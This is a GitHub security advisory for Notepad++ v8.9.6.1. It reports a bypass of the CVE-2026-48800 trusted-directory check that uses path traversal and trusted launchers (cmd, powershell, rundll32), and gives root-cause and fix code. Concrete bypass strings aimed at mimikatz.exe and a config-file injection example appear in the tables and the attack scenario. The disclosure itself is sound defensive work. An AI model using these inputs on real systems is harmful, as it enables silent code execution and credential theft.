CVE-2026-48800 Bypass · Advisory · notepad-plus-plus/notepad-plus-plus · GitHub
//repos/advisories/show" data-turbo-transient="true" />
Skip to content
Search or jump to...
Search code, repositories, users, issues, pull requests...
-->
Search
Clear
Search syntax tips
Provide feedback
--><br>We read every piece of feedback, and take your input very seriously.
Include my email address so I can be contacted
Cancel
Submit feedback
Saved searches
Use saved searches to filter your results more quickly
-->
Name
Query
To see all available qualifiers, see our documentation.
Cancel
Create saved search
Sign in
//repos/advisories/show;ref_cta:Sign up;ref_loc:header logged out"}"<br>Sign up
Appearance settings
Resetting focus
You signed in with another tab or window. Reload to refresh your session.<br>You signed out in another tab or window. Reload to refresh your session.<br>You switched accounts on another tab or window. Reload to refresh your session.
Dismiss alert
{{ message }}
notepad-plus-plus
notepad-plus-plus
Public
Notifications<br>You must be signed in to change notification settings
Fork<br>5.3k
Star<br>28.3k
CVE-2026-48800 Bypass
High
donho<br>published<br>GHSA-p58x-r3c9-x9p6<br>May 31, 2026
Package
No package listed
Affected versions
v8.9.6.1
Patched versions
v8.9.6.2
Description
Vulnerability Summary
Product : Notepad++ v8.9.6.1 (latest patched version)
Type : CWE-42 (Path Traversal) / CWE-59 (Improper Link Resolution)
Impact : Arbitrary Code Execution without user confirmation
CVSS 3.1 : 7.8 (High) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Bypasses : CVE-2026-48800 (shortcuts.xml command validation)
Description
The CVE-2026-48800 patch adds isInTrustedDirectory() validation in Command::run() (RunDlg.cpp) before calling ShellExecute(). This function checks whether the resolved executable path is under a trusted directory:
C:\Program Files\
C:\Program Files (x86)\
C:\Windows\System32\
C:\Windows\
The vulnerability : isInTrustedDirectory() does NOT canonicalize the path before checking. It uses a prefix-based check (PathIsPrefix() or equivalent) that matches paths starting with trusted directory strings. A path traversal using ..\..\ after a trusted directory prefix passes the check while resolving to an untrusted location.
Confirmed Bypass Vectors
Bypass 1: Path Traversal (CRITICAL)
Command in shortcuts.xml<br>Resolved Path<br>Warning?<br>Result
C:\Users\[USERNAME]\Downloads\mimikatz.exe<br>Untrusted path<br>✅ Yes — warning shown<br>Blocked
C:\Windows\System32\..\..\Users\[USERNAME]\Downloads\mimikatz.exe<br>Same mimikatz.exe<br>❌ No warning<br>Executes silently
C:\Program Files\..\..\Users\[USERNAME]\Downloads\payload.exe<br>Same payload<br>❌ No warning<br>Executes silently
Proof : On v8.9.6.1, C:\Windows\System32\..\..\Users\[USERNAME]\Downloads\mimikatz.exe in shortcuts.xml executes mimikatz without any security dialog, while the direct path C:\Users\[USERNAME]\Downloads\mimikatz.exe correctly shows a warning.
Bypass 2: Trusted Executable as Launcher (HIGH)
Command in shortcuts.xml<br>Resolved Executable<br>Warning?<br>Result
cmd.exe /c calc.exe<br>C:\Windows\System32\cmd.exe (trusted)<br>❌ None<br>Executes silently
powershell.exe -ExecutionPolicy Bypass -Command calc.exe<br>C:\Windows\System32\...\powershell.exe (trusted)<br>❌ None<br>Executes silently
rundll32.exe javascript:...\mshtml,RunHTMLApplication<br>C:\Windows\System32\rundll32.exe (trusted)<br>❌ None<br>Executes silently
Proof : On v8.9.6.1, cmd.exe /c calc.exe in shortcuts.xml executes calc.exe without any security dialog.
Root Cause Analysis
The isInTrustedDirectory() function in RunDlg.cpp performs a check similar to:
bool isInTrustedDirectory(const wchar_t* path) {<br>wchar_t trustedDirs[][MAX_PATH] = {<br>L"C:\\Program Files\\",<br>L"C:\\Program Files (x86)\\",<br>L"C:\\Windows\\System32\\",<br>L"C:\\Windows\\",<br>};<br>for (auto& trusted : trustedDirs) {<br>if (PathIsPrefix(trusted, path)) // BUG: checks prefix without canonicalization<br>return true;<br>return false;
The PathIsPrefix() (or StartsWith()) check matches C:\Windows\System32\..\..\Users\... because it starts with C:\Windows\System32\. The ..\..\ traversal components are NOT resolved before the prefix check.
Correct fix : Canonicalize the path using PathCanonicalize() or GetFullPathNameW() BEFORE checking:
bool isInTrustedDirectory(const wchar_t* path) {<br>wchar_t canonicalPath[MAX_PATH] = {};<br>// Resolve .., ., and redundant separators<br>if (!PathCanonicalize(canonicalPath, path))<br>return false;<br>// NOW check against trusted directories<br>for (auto& trusted : trustedDirs) {<br>if (PathIsPrefix(trusted, canonicalPath))<br>return true;<br>return false;
Attack Scenarios
Scenario 1: Direct config file write
Any process running under the same user account can modify %APPDATA%\Notepad++\shortcuts.xml:
C:\Windows\System32\..\..\Users\[USERNAME]\Downloads\mimikatz.exe<br>">Command name="Open Document" Ctrl="no" Alt="yes" Shift="no" Key="112"><br>C:\Windows\System32\..\..\Users\[USERNAME]\Downloads\mimikatz.exe<br>Command>
When the user presses Alt+F1 (or...